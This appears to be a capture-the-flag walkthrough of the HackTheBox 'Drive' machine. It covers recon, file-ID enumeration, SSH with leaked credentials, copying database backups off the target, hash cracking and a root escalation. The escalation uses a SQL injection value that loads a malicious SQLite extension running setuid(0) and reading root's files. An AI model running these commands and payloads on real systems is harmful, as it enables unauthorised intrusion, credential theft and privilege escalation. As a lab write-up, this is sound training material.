# Drive Htb

We begin with an nmap scan

```
nmap -sC -sV 10.10.11.235
```

```
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-25 21:15 PDT
```

```
Nmap scan report for drive.htb (10.10.11.235)
Host is up (0.29s latency).
Not shown: 997 closed tcp ports (conn-refused)
                  SERVICE VERSION
         STATE
                          OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol
22/tcp
         open
                  ssh
2.0)
 ssh-hostkey:
    3072 27:5a:9f:db:91:c3:16:e5:7d:a6:0d:6d:cb:6b:bd:4a (RSA)
    256 9d:07:6b:c8:47:28:0d:f2:9f:81:f2:b8:c3:a6:78:53 (ECDSA)
    256 1d:30:34:9f:79:73:69:bd:f6:67:f3:34:3c:1f:f9:4e (ED25519)
        open
                 http
                          nginx 1.18.0 (Ubuntu)
|_http-title: Doodle Grive
_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp filtered ppp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

We see that there are three ports open. 22, 80, and 3000

We can gather additional info with Whatweb

### \$ whatweb 10.10.11.235

```
http://10.10.11.235 [301 Moved Permanently] Country[RESERVED][ZZ],
HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.235],
RedirectLocation[http://drive.htb/], Title[301 Moved Permanently], nginx[1.18.0]
http://drive.htb/ [200 OK] Bootstrap, Cookies[csrftoken], Country[RESERVED][ZZ],
Django, Email[customer-support@drive.htb, support@drive.htb], HTML5,
HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.235], JQuery[3.0.0],
Script, Title[Doodle Grive], UncommonHeaders[x-content-type-options, referrer-
policy,cross-origin-opener-policy], X-Frame-Options[DENY], X-UA-
Compatible[IE=edge], nginx[1.18.0]ive.htb/ [200 OK] Bootstrap, Cookies[csrftoken],
Country[RESERVED][ZZ], Django, Email[customer-support@drive.htb, support@drive.htb],
HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.235],
JQuery[3.0.0], Script, Title[Doodle Grive], UncommonHeaders[x-content-type-
options,referrer-policy,cross-origin-opener-policy], X-Frame-Options[DENY], X-UA-
Compatible[IE=edge], nginx[1.18.0]
```


Sometimes a webpage is not immediately accessible by browser

Adding the domain and ip to our /etc/hosts file will solve this issue


\$ echo 10.10.11.235 drive.htb | sudo tee -a /etc/hosts 10.10.11.235 drive.htb

\$ sudo cat /etc/hosts 127.0.0.1 kali 10.10.11.235 drive.htb


We can now visit the web page




Registering a new user, we are taken to this webpage



Logging in as the user we just created




## Once logged in, we reach the following page



We see here that we can either upload a file, or visit the dashboard


### The upload page




### Dashboard




Exploring the sites functionality, we see that there are several actions we can perform on files, including upload, reserve, and unreserve




We see that we can also search for different files by changing the number in the url




Its time to do some fuzzing. We can use burpsuite intruder to search for file ids by number. First, intercept a GET request with burp suite, and send it to intruder




Select the number id, and click Add§



Define the Payloads settings for the attack Click Start attack



Once the attack is finished, we see a few files that look interesting. 79, 98, 99, 100, and 101. Lets start with 79



Visiting the page, we don't see anything. However, we can use gobuster to fuzz the urls of the file ids

\$ gobuster dir -u http://drive.htb/79/ -w ../fuzzlists/raft-large-directories-lowercase.txt

\_\_\_\_\_\_

### Gobuster v3.5

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

\_\_\_\_\_

[+] Url: http://drive.htb/79/

[+] Method: GET [+] Threads: 10

[+] Wordlist: .../fuzzlists/raft-large-directories-lowercase.txt

[+] Negative Status codes: 404

[+] User Agent: gobuster/3.5


[+] Timeout: 10s

\_\_\_\_\_

## 2024/02/01 20:44:06 Starting gobuster in directory enumeration mode

/updates (Status: 302) [Size: 0] [--> /login/]
/blocks (Status: 302) [Size: 0] [--> /login/]
/update (Status: 302) [Size: 0] [--> /login/]
/block (Status: 301) [Size: 0] [--> /79/block/]

Almost right away, we see a /block endpoint



Visiting <a href="http://drive.htb/79/block">http://drive.htb/79/block</a> yields some interesting information We can use these credentials to log into the server via ssh

\$ ssh martin@10.10.11.235

The authenticity of host '10.10.11.235 (10.10.11.235)' can't be established.

ED25519 key fingerprint is

SHA256:peISHngFC65Dty34JUO7mwuE89m2GA0Z8GUFC7skwa0.

This host key is known by the following other names/addresses:

~/.ssh/known\_hosts:39: [hashed name]

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '10.10.11.235' (ED25519) to the list of known hosts. martin@10.10.11.235's password:

Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-164-generic x86\_64)

\* Documentation: https://help.ubuntu.com

\* Management: https://landscape.canonical.com

\* Support: https://ubuntu.com/advantage

System information as of Fri 02 Feb 2024 02:27:15 AM UTC

System load: 0.01

Usage of /: 63.1% of 5.07GB

Memory usage: 20% Swap usage: 0% Processes: 230 Users logged in: 0

IPv4 address for eth0: 10.10.11.235

IPv6 address for eth0: dead:beef::250:56ff:feb9:d33e

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.

See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.

To check for new updates run: sudo apt update

martin@drive:~\$

And we are in

Looking around, we don't yet find the user flag anywhere. However, in /usr/local/bin we find a binary file for a gitea server. This must be what is being hosted on port 3000.

martin@drive:/usr/local/bin\$ ls cygdb cython cythonize django-admin gitea gunicorn pipreqs sqlformat

Gitea is a self hosted Git server, so maybe accessing it will yield more interesting information. There are also some interesting files in /var/www/backups

martin@drive:/var/www/backups\$ ls 1\_Dec\_db\_backup.sqlite3.7z 1\_Oct\_db\_backup.sqlite3.7z db.sqlite3 1\_Nov\_db\_backup.sqlite3.7z 1\_Sep\_db\_backup.sqlite3.7z

Lets download these to our attacker machine


Set up a python server inside the /var/www/backups directory

\$ python3 -m http.server 4444 Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/)

From our attack machine

\$ wget 10.10.11.235:4444/1\_Dec\_db\_backup.sqlite3.7z

We can use SQLite database browser to view the db.sqlite3 file



Inside we find 5 sha1 encrypted hashes

sha1\$W5IGzMqPgAUGMKXwKRmi08\$030814d90a6a50ac29bb48e0954a8913230248 3a

sha1\$E9cadw34Gx4E59Qt18NLXR\$60919b923803c52057c0cdd1d58f0409e7212e9f sha1\$kyvDtANaFByRUMNSXhjvMc\$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004 sha1\$ALgmoJHkrqcEDinLzpILpD\$4b835a084a7c65f5fe966d522c0efcdd1d6f879f sha1\$jzpj8fqBgy66yby2vX5XPa\$52f17d6118fce501e3b60de360d4c311337836a3

Decrypting these with \$ hashcat -m 124 hash.txt rockyou.txt doesn't reveal anything useful. However, remembering that theres a git server hosted on port 3000, we can gain access to it with some simple port forwarding

First run the gitea file found in /usr/local/bin

martin@drive:/usr/local/bin\$./gitea

Then, from our attack machine

\$ ssh martin@10.10.11.235 -L 3000:drive.htb:3000

Then go to localhost:3000

Inside the db\_backup.sh file, we see a password H@ckThisP@ssW0rDIfY0uC@n:)

Using this password, we can now access the 7z files we downloaded earlier

Inside the 1\_Nov\_db\_backup.sqlite3.7z file, grab the sha1 encrypted hash for tom

sha1\$Ri2bP6RVoZD5XYGzeYWr7c\$4053cb928103b6a9798b2521c4100db88969525a

Using hashcat, we can decrypt the string

\$ hashcat -m 124 hash.txt rockyou.txt

sha1\$Ri2bP6RVoZD5XYGzeYWr7c\$4053cb928103b6a9798b2521c4100db88969525a:johnmayer7

We can now ssh in as tom

\$ ssh tom@10.10.11.235

There is an interesting file

tom@drive:~\$ ls

doodleGrive-cli README.txt user.txt

tom@drive:~\$ cat user.txt e723a2a14561f1ed858a9285ba67eac7

Examining the file, we see that it is a binary exe

tom@drive:~\$ file doodleGrive-cli

doodleGrive-cli: setuid ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=8c72c265a73f390aa00e69fc06d96f5576d29284, for GNU/Linux 3.2.0, not stripped

We need to download doodleGrive-cli to our local machine


Set up a python server inside toms directory

python3 -m http.server 4444

From our machine

wget 10.10.11.235:4444/doodleGrive-cli

We can then use Ghidra to reverse engineer the binary, and perform an analysis to find some credentials hidden within



We find the credentials "mortiary" and "findMeIfYOuC@nMr.Holmz!"

Sqlite3 has a vulnerable function called load\_extension. We will exploit this to gain read access on the root flag

We can do this by creating a c file in toms home directory

```
tom@drive:~$ vim a.c

#include <stdlib.h>

#include <unistd.h>
void sqlite3_a_init() {
    setuid(0);
    setgid(0);
    system("/usr/bin/cat /root/root.txt > /tmp/a.txt");
}

Then run the binary

tom@drive:~$ ./doodleGrive-cli

doodleGrive cli beta-2.2:

1. Show users list and info
```

2. Show groups list

```
3. Check server health and status
4. Show server requests log (last 1000 request)
5. activate user account
6. Exit
Select option: 5
Enter username to activate account: "+load_extension(char(46,47,97))+"
Activating account for user '"+load_extension(char(46,47,97))+"'...
Enter "+load_extension(char(46,47,97))+" as the username, then exit
cd to tmp
<u>tom@drive</u>:~$ cd ../../../tmp
tom@drive:/tmp$ ls
a.txt
tom@drive:/tmp$ cat a.txt
f38ddfafa92867da8ee48aea448d3202
And we have root!
```